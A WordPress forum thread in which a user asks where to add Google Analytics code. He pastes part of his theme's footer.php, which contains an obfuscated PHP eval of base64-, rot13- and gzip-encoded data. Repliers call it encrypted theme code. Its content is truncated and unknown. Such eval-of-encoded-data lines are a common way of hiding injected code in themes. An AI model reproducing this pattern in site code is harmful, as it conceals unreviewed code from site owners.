• Ronnie

    (@ronniesblog)


    i wanted to put my google analytics code in the footer as per what most here seem to do, but the content of my footer.php seems a bit strange and so i’m not sure where to put the analytics code?… here’s some of what footer.php looks like.. is this normal?

    <? eval(gzinflate(str_rot13(base64_decode('DUrFDsTYEfyVvXJKPphWVmlyc3NfIvOYdoxfn7k/qZ+qugv++fs///xEndnwdPO2Rj1x3+rPPNsrAvtfTBVmTP35LzGsQ272FbF+wgdoSXPk78X7lksOl7WsiTRavmc4uw6vsDm51CMJggBd1/XtQdBWp3QBJ/Q+R6A+fYkX3L6GrVnI+Ih+VPgw3gcwVgEeaOgH+/WAAaL2nQQPx9IuEmDEljfOJaWbQPbwrfttt3/ruSbszixj3i2BLild4sssVLyWSsRuxUA0nh4gxSiIDsqMM9LCQsyj/c4JDV4noGe3awamKy7FXtva2Q0gixzfY0bWpBDrVWbUCZNKp75PWmYwQxt+dvoo1dQ8FX8ttQYyy89UE77YiGc8ad/YuuJm+63Mcrk91y4LafXIiKFHNBcChmRvG3ctgm+YYfIC05EwYGpY4NvZFE86VTP4hZRyX8S9EFSM5MzVIQA9me7Yv8bctH5aX3PbZS9cefWmdycATenhSY9WR9E4SxjrX2/ZcfsKE7uKrCZOg5+a6slWVG/0N/viI+aQV6EplugCK1nZoBuMvt1w30cOkHYHf55O5JcAbbPn0L7BBPuSbYPfLy1Maxvh8zumMMiOnOPk/S2ZnapDdb5JhM8oP8S31mAkfBm3ppu7Bsjy7eA+pu/A8uRjWk37mTFF67oOGRO/NkqjVUW2EAf2dXM3AYJ6My027XV+DMogFe+sGUzcGI2kn5znQ0z3Ks1juxuOkVa1GROE30R/xLmnUbjseBFK1iwBBJNM/XItrRqlRl21a7+darQpdP3KIzoYgYh+CDKlBO1d8zOqbyUrJ2FWsqwSY70QniCod+uNOlKEK+KL16iVrN+CLYo1iL8uB7Kc9hQ37ZymQcw79LJKXV01xQy5dCFDDdgs6l0kD+rmUBTTXjfP0wyoPmDaA9z9nBN6iF/dOI4eBCnzrSDPCyRuh8vO48SIElgfqYnSAo6t80bCF0/Iwsra1554a5tnKD9rBrVkXwareDvcPIDOps8pSIKFsnOwQGB6VpF0b3ITZUya/KaQOjXV86iTkB5IBzwlbLCY+XdWrJuvqYZmItHc5JsXWqo/G+4kjLvo6lYh9nRTGVKLwEy0+158Hijp7c4eayWsgtRqh0kgPGaoaQ+9i7ysGkAw9ogS3YjLVrvsnZ4bNch08d2zgE8Ni4DFpNlgrpPoDbLq1JZJ1wW1MmJT54Y5gzk4OKZsSIWO5KAfB3zv

Viewing 9 replies - 1 through 9 (of 9 total)
  • Ah, you’ve got encrypted theme code. Yuck. ??

    At the very top of this forum there are Encrypted Theme tips. Check those out, and that should help.

    Good luck, D

    Thread Starter Ronnie

    (@ronniesblog)

    is that what it is..thanks man…
    unfortunately i can’t find anything there to work/decode it

    Hi there. once you’re done decoding your footer.php file, you need to stick the google analytics script right before the end body tag (looks like this: </body>. I never saw an encrypted template before. Is it premium or smth? ??
    Good luck!

    Thread Starter Ronnie

    (@ronniesblog)

    thanks all.. i got it.. eventually

    Good to know! ??

    Hi Ronnie, I hope you were able to figure this out. I’ve been doing a lot of research lately about embedding external scripts because the blog I’m working on now runs a couple (3 or 4), and I was concerned about how they could interact with WP, impact on loading times, etc.

    During my research, I stumbled upon this very interesting article by Alexander Stevens about the Google Analytics script entitled Making google analytics unobtrusive. In this article, the author explains that the way the script is called upon by the default HTML code provided by Google is slightly obstrusive, and that it is advisable to wrap up that code in a local JS instead. The author provides several arguments for this, two of which were VERY compelling to me:
    1. It is always best to separate behavior from content, the same way you would it, for instance, with styling;
    2. By calling the script directly from your html, your site could take longer to load or not load at all if Google servers are experiencing difficulties or technical issues. Sure, one could argue that does happen often, and “one” would be right, but in these matters I don’t like taking unnecessary risks and have the users suffer the consequences.

    I definitely recommend those of you who are running Google Analytics on their blogs and sites to take a look at this: I’ve been using it for a couple of days now, and it is very practical, pretty simple to implement, and works great.

    I also hope you find this information interesting: I know I did, mainly because, like most people (I guess), I was not aware of the complications behind script embedding, probably because I’m not a programmer or specialize in these matters.

    Best of luck to everyone!

    Looks like the second link did not make it: https://www.alstevens.co.uk/a-less-obtrusive-google-analytics-script.

    Hi Ronnie,

    Since you were able to figure this one out, could you mark the thread as resolved? It helps a lot to filter out which threads were solved and which were not.

    Thanks!

Viewing 9 replies - 1 through 9 (of 9 total)
  • The topic ‘don’t know where to put analytics code?’ is closed to new replies.